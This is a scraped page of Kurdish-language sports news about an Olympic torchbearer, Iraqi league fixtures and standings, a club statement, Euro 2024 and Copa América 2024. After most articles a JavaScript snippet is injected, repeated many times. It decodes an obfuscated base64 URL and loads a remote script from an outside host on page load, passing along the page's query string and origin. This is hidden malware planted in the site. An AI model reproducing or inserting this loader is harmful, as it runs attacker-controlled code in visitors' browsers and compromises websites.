قەیس وەیس:

یاریزانا رەڤەندا كورد ل ئۆرۆپا و كچا كورد شیلان مستەفا ژلایێ‌ لژنەیا رێكخستنا چالاكیێن ئۆلمپیادا پاریس 2024ێ‌ هاتیە هەلبژارتن بۆ هەلگرتنا مەشخەلا ئۆلمپی بۆ ماوەیێ‌ پێنج خولەكان دا ل 22ێ‌ ڤێ‌ مەهێ‌ ئەوا دێ‌ هەڤڕكیێن ئۆلمپیادا ل پاریس پایتەختێ‌ فرەنسا هێتە كرن.
ل دووڤ ئەوێ‌ نامەیا بۆ شیلان مستەفایێ‌ هاتی: دێ‌ مەشخەلا ۆلمپیادا پاریس 2024ێ‌ بۆ ماوەیێ‌ پێنج خولەكان هەلگرتی ئەوا ژ ئەسینا پایتەختێ‌ یۆنانستانێ‌ دهێتە پاریس ئەوا دێ‌ ل 22ێ‌ ڤێ‌ مەهێ‌ بیت، ژبەركو تۆ ئێك ژ یاریزانێن خزمەتا وەرزشا فرەنسا كرییە، تۆ ئێك ژ ئەوان یاریزانێن هاتینە دەستنیشانكرن و یا بەرهەڤبە.
ژێگرتنا یاریزانا ناڤهاتی هات پشتی وەكو یاریزانەك نامەك بۆ لژنەیا سەرپەرشت هنارتی و گۆت بوو: ئەز كچەكا سادەمە و یاریزانا یارییا تایكواندۆیێ‌ مە ژ ئیراقێ‌ بەر ب لیبیا و دووڤدا هاتیمە فرەنسا، حەز ژ وەرزشێ‌ دكەم، كەسەكا ئارامم و باشی بۆ هەمیا دڤێت هیڤییا من ئەوە رۆژەك بهێت مەشخەلا ئۆلمپیادا هەلگرم، پشتی ڤێ‌ نامێ‌ لژنەیا رێكخستنێ‌ هیڤیێن وێ‌ ب جهـ ئینا و بوو ئێك ژ ئەندامێن هەلگرتنا مەشخەلێ‌، ل دەمژمێر نەهێ‌ سپێدەهییا 22ێ‌ هەیڤێ‌ ل جهێ‌ دەستنیشانكری ئامادەبە بۆ ماوەیێ‌ پێنج خولەكان ب هەلگرتنا مەشخەلێ‌ بەزینێ‌ كەی.
بۆ زانین یاریزانا ناڤهاتی د ژیێ‌ 33ێ‌ سالی دایە ڕەڤەندا كوردە ل فەرەنسا ژ دایكبوویا باژێرێ‌ خانەقین یا سەر ب پارێزگەها دیالاڤە، خێزانا وێ‌ ل وەلاتێ‌ لیبیا كار دكر و دووڤدا ل 2005ێ‌ ل فرەنسا ئاكنجی بوون.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

بڕیارە سوبەهی یاریێن گەڕا 37ێ‌ و بەری دووماهیێ‌ ژ چارچووڤەیێ‌ هەڤڕكیێن خولا ستێرێن ئیراقێ‌ یا فوتبۆلێ‌ ب ئەنجامدانا پێنج یارییان و رۆژا ئەینییا بهێت پێنج یاریێن دی ڤێ‌ گەڕێ‌ ب دووماهی بینت، یارییا دهۆك و شورتە كۆپیتكا هەڤڕكیێن ڤێ‌ حەفتیێ‌ نە و زاخۆ بەرانبەر دەلیڤەكا دی یا سەركەفتنێ‌.
دهۆك بەرانبەر زحمەترین تاقیكرن دا
بڕیارە سوبەهی ل دەمژمێر پێنجێ‌ ئێڤاری تیما یانەیا دهۆك ل یاریگەها شەعب ببیتە مێڤانا یانەیا شورتە یا بەغدایی د كۆپیتكا یاریێن ڤێ‌ حەفتیێ‌ دا و ب زەحمەترین تاقیكرن بۆ ئەلهۆیێن چیا ئەوێن 57خال كۆمكرین ل رێزا شەشێ‌ دهێت، د بەرانبەر دا یانەیا شورتە یا شەڕی بۆ دەستڤەئینانا ناسناڤێ‌ ئەڤ سالە دكەت و دێ‌ یارییا مرنێ‌ كەت پێخەمەت گەهشتن بەر ب ناسناڤی ئەوا 81 خال كۆمكرن و سەرێ‌ لیستێ‌ دهێت، لەوما یارییەكا ب سانەهی نابیت بۆ لەشكەرێ‌ دهۆكییان، ئەڤ یارییە یا دیرۆكی یە بۆ شورتە و ژلایەكێ‌ دیڤە چو گڤاشتن ل سەر تیما دهۆكێ‌ نینن، نەك بۆ ناسناڤی و نەك شەڕێ‌ داكەفتنێ‌.
زاخۆ دێ‌ ەڕێ‌ پاراستنا رێزبەندییا خوە كەت
ژلایێ‌ خوە ڤە هەر سوبەهی تیما یانەیا زاخۆ دێ‌ ل یاریگەها خوە و دناڤ جەماوەرێ‌ دا دێ‌ مێڤاندارییا یانەیا حدود یا بەغدایی كەت و چاڤێ‌ زاخۆییا دێ‌ ل سێ‌ خالان بیت ژبۆ پاراستنا رێزبەندییا چارێ‌ د لیستەیا خولێ‌ دا ئەوا نوكە ب 65 خالان رێزا چارێ‌ دهێت، د بەرانبەر دا دبیت بۆ یانەیا حدود ئەڤ یارییە هند گرنگ نەبیت و بێ‌ گڤاشتن بیت لێ‌ تیمەكا ب سانەهی نابیت بەرانبەر كوڕێن خابووری، سەربازێن تەلال ئەلبلۆشی راهێنەرێ‌ زاخۆ دێ‌ ب پشتگەرمییا پشتەڤانێن تیما خوە گەشبینن بۆ سەركەفتنێ‌.
هەولێر و نەورۆز دێ‌ بەرانبەر كەربەلا و كارەبا جنگن
ر ژ یاریێن ڤێ‌ حەفتیێ‌ ل ئەینییا بهێت یانەیا هەولێر دێ‌ ل یاریگەها خوە شەهید فرانسۆ حەریری دەمژمێر 7:30 شەڤ مێڤانداریا یانەیا كەربەلا كەت د یارییەكا ڤەكری و شەڕ بۆ رێزبەندیێ‌، هەولێر خودانا 37 خالانە ل رێزا 14ێ‌ و مانا خوە پاراستیە د خولێ‌ دا، مێڤانا وێ‌ 36 خال كۆمكرینە ل رێزا 15ێ‌ دهێت، ئانكو دێ‌ شەرێ‌ رێزبەندیێ‌ كەن، ژلایێ‌ خوەڤە نەورۆز دەمژمێر پێنجی ئێڤاری بیتە مێڤانا یانەیا كارەبا، نەورۆز 54 خال هەنە رێزا حەفتێ‌ دهێت و كارەبا 40 خال كۆمكرینە رێزا13ێ‌ دهێت.
ژ یاریێن دی رۆژا پێنج شەمبی، ئەلقاسم- جوویە، نەفت -زەورا، نەفت ئەلوەسەت- ئەمانەت بەغدا، رۆژا ئەینی كەرخ- نەفت ئەلبەسرا، نەفت میسان- نەجەف، مینا- تەلەبە.
ئەیمەن حسێن سەرێ‌ لیستا گۆلكەران دهێت
پشتی ب دووماهی هاتنا یاریێن گەڕا 36 ێ‌ ژ خولا ستێرێن ئیراقێ‌ هێرشبەرێ‌ یانەیا جەوییە ئەیمەن حسێن ل سەرێ‌ لیستا گۆلكەرێن خولێ‌ د هێت ب 27 گۆلان، دووڤدا هێرشبەرێ‌ شورتە مەحمود ئەلمواس ب19 گۆلان رێزا دویێ‌ دهێت، یێ‌ نەفت میسان عەلا ئەلدلی ب18 گۆلان رێزا سێیێ‌، یێ‌ نەورۆز ئیبراهیم تۆمیۆ ب17 گۆلان رێزا چارێ‌، هەروەسان موهەنەد عەلی ژ شورتە و ئیبراهیم غازی ژ حدود ب16 گۆلان رێزێن پێنجێ‌ دهێن.
هەلوەستێ‌ گشتی ب ڤی شێوەیە.
1- شورتە 81 خال.
2- جەوییە 78 خال.
3- زەورا 72 خال.
4- زاخۆ 65 خال.
5- نەجەف 64 خال.
6- دهۆك 57 خال.
7- نەورۆز 54 خال.
8- تەلەبە 50 خال.
9- حدود 46 خال.
10- نەفت 44 خال.
11- نەفت میسان 43 خال.
12- مینا 41 خال.
13- كارەبا 40 خال.
14- هەولێر 37 خال.
15- كەربەلا 36 خال.
16- كەرخ 36 خال.
17- ئەلقاسم 33 خال.
18- نەفت ئەلبەسرا 31 خال.
19- ئەمانەت بەغدا 27 خال.
20- نەفت ئەلبەسرا 16 خال.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

رەمەزان زەكەریا:

دداخویانیەكێ دا پەیڤدارێ یانەیا ئاكرێ یا وەرزشی دیاركر هەرچەندە هەتا نوكە ژڤانێ‌ وەرزێ‌ نوو یێ‌ خولا پلا ئێكا كوردستانێ‌ ل سەر ئاستێ‌ لاوان ب دروستی نە هاتییە زانین لێ‌ تیما وان بەردەوامە ل سەر راهێنانێن خوە و فاكتەرێن سەركەفتنێ‌ ل دەڤ هەنە.
زێدەتر سوهەیب عەلی گۆت: هەرچەندە بڕیارا دەستپێكرنا وەرزێ‌ نوو یێ‌ خلا پلا ئێكا كوردستانێ‌ ل سەر ئاستێ‌ لاوان هێشتا نە هاتییە زانین لێ‌ تیما مە دێ‌ پشكداریێ‌ كەت، سەرباری هەتا نوكە چ راهێنەر نەهاتینە دەستنیشانكرن ب فەرمی بۆ یانەیێ، بریارە پێكهاتەیێ‌ سەرەكی یێ‌ تیما مە هەمی یاریزانێن نافخوە كو خەلكێ‌ ئاكرێ بن، لەوما تیما مە بەردەوامە ل سەر راهێنانان و دێ‌ پێكهاتییەكێ‌ باش بیت.
ژلایەكێ‌ دیڤە ناڤهاتی گۆت: بۆ وەرزێ‌ نوو یێ‌ خولا نایابا كوردستانێ‌ ژی هەتا نوكە دیار نینە دێ‌ چەند یاریزان دێ‌ تیما مە بجهـ هێلین لێ‌ یانە هەنە بزاڤێن دەستڤە ئینانا چەند یاریزانێن مە دكەن ژ وانا یانەیا زاخۆ ئەوا بزاڤێ‌ دكەت ستێرێ‌ تیما مە ەرك مەنسۆر بۆ ناڤ رێزێن تیما خوە ببەت.لێ‌ هێشتا چ تشت ب فەرمی نەهاتیە ئەنجامدان كو بهێتە راگەهاندن.
ل دووماهیێ‌ سوهەیب سەعدوللایی خوەشحالیا خوە دیار كر كو پارتی دیموكراتی كوردستان هەر ژ رۆژا ئێكێ‌ پشتەڤانییا وان كرییە و گۆت: هەر پارتا مە بوویە ئەگەر ئەم ناسناڤێ‌ خولا پلا نایابا كوردستانێ‌ و ناسناڤێ‌ فوتسالا كچان ل سەر ئاستێ‌ تازەپێگەهشتییان و رێزا دویێ‌ ل سەر ئاستێ‌ كۆپا كوردستانێ‌ ب دەستڤە بینن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

بڕیارە ل ئەینییا بهێت دو ب هێزترین یاریێن قۆناغا چارێك دووماهییا قارەمانییا نەتەوەیێن ئۆرۆپا یۆرۆ 2024ێ‌ بهێنە كرن، ل دەمژمێر حەفتی شەڤ هەلبژارتیێ‌ ئەلمانییا مێڤانا قارەمانیێ‌ دێ‌ مێڤاندارییا هەلبژارتیێ‌ ئسپانیا كەت د یارییەكا ئاگرین و بهێز دا، ل دەمژمێر 10 شەڤ هەلبژارتیێ‌ پۆرتۆگال دێ‌ ل یاریگەها فۆلكس پارك بەرانبەر هەلبژارتیێ فرەنسا بیت، شەمبییا بهێت هەلبژارتیێ ئنگلتەرا دەمژمێر حەفتی شەڤ بەرانبەر سویسرا دێ‌ شەڕی بۆ پلێتا دەربازبوونێ‌ بەر ب قۆناغا پێش دووماهیێ‌ كەت.
راهێنەرێ‌ ئەلمانی و یێ‌ بەرێ یانەیا لیڤەرپۆل یۆرگن كلۆپ بۆ تۆرا بێلد یا ئەلمانی گۆت: مە یاریێن هەمی هەلبژارتیان دیتینە، ئسپانیا و ئەلمانیا ژ باشترین تیمێن پشكدارە و هەڤڕكە، هەمی خالێن سەركەفتنێ‌ هەنە ژ لایەنێ‌ جەستەیی و هونەری و تەكتیكی، ئەڤچا یارییا وان وەكو یا دووماهیێ‌ یە، هەر هەلبژارتیەكێ‌ سەركەفتنێ‌ دئینیت، دوور نینە هەتا دووماهیێ‌ بچیت و دیدارا وان دێ‌ ناسنامەیا قارەمانێ‌ یۆرۆیێ‌ دیاركەت، لێ‌ دەركەتنا ئیتالیا ژ هەڤڕكیان سۆپرایز و نە چاڤەڕێ‌ كری بوو.
دهێتە چاڤەڕێ‌ كرن یارییا دووماهییا یۆرۆیێ‌ دێ‌ ل دەمژمێر 10ی شەڤا ئێكشەمبییا بهێت ل یاریگەها ئۆلمپی ل پایتەختێ‌ ئەلمانیا بەرلین هێتە كرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سەرباری بۆرینا 40 یارییان ژ قۆناغا كۆما یا قارەمانییا كۆپا ئەمریكا 2024ێ‌ ئەوا نوكە هەڤڕكیێن وێ‌ بەردەوامن ل نەتەوەیێن ئێگكرتییا ئەمریكا و پشكدارییا چەند هەلبژارتیێن مەزن د جیهانێ‌ دا وەكو بەرازیل و ئەرجەنتینێ‌ لێ‌ شرۆڤەكارێن وەرزشی ب لاوزترین قارەمانی د دیرۆكا وێ‌ دا دایە دیاركرن.
ژ گرنتگترین ئەگەرێن وێ‌ هەبوونا قارەمانییا یۆریا 2024ێ‌ كو پرانییا پشتەڤان و جەماوەرێ‌ وەرزشی ل ئۆرۆپا و ئاسیا و ئەفریقیایێ‌ پێڤە هاتینە گرێدان، لێ‌ شرۆڤەكارێن وەرزشی هندەك ئەگەرێن دی ژی دیاركەن بڤی رەنگی.
ئەردێن بێ‌ سەرۆبەر، پشتی سەركەفتنا ئەرجەنتین ل سەر كەنەدا ل یاریگەها مێرسێدس رەخنەیێن دژوار ل سەر هەبوونا یاریگەهەكا بێ‌ سەرۆبەر ژلایێ‌ راهێنەرێ‌ ئەرجەنتینی سكالۆنی دیسان یاریگەها دالاس ژی كەفتە بەر رەخنەیێن دژوار ژلایێ‌ راهێنەرێ‌ هەلبژارتیێ‌ پیرۆ خۆرخێ‌ فوتساتی و یاریگەهـ ئەگەرێ‌ هنگاڤتنانە، هەروەسان یاریزانێن ئەرجەنتین، بەرازیل و ئەمریكا ژی رەخنە هەبوون دیاركرن ژ 14 یاریگەهان بتنێ‌ هەشت د باشن.
ئاستێ‌ خراب، ئەو یاریێن هەتا نوكە د كۆپایێ‌ دا هاتینە كرن نە ل دووڤ ئاستێ‌ چاڤەڕێكرینە و دبیت زێدەكرنا هژمارەیا هەلبژارتییان ژ 32 بۆ 48 هەلبژارتییان د مۆندیالا2026ێ‌ دا ئێك ژ ئەگەران بیت.
دەمێ‌ نە گۆنجایی، ئەو دەمێ‌ بۆ یاریێن نوكە دهێنە دانان بۆ دەڤەرا رۆژهەلاتا ئاسیا و ناڤەراستا وێ‌ و هەتا وەلاتێن رۆژهەلات و نەڤەراستا ئۆرۆپا یا گۆنجایی نینە و ئەڤە ژی كارتیكرنەكا دی یە، هەروەسان ئەو حەز و ڤیانا جەماوەرێ‌ ئەمریكا بۆ فوتبۆلێ‌ وەكو یێن ئاسیا، ئەفریقیا و ئۆرۆپا نینە، ئەڤە ئەگەرێن سەرەكی نە كو كۆپا ئەمریكا یا ئەڤ سالە لاوزتر بیت ژلایێ‌ ئاستی و دۆڤچوون پشتەڤانیا جەماوەری ڤە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();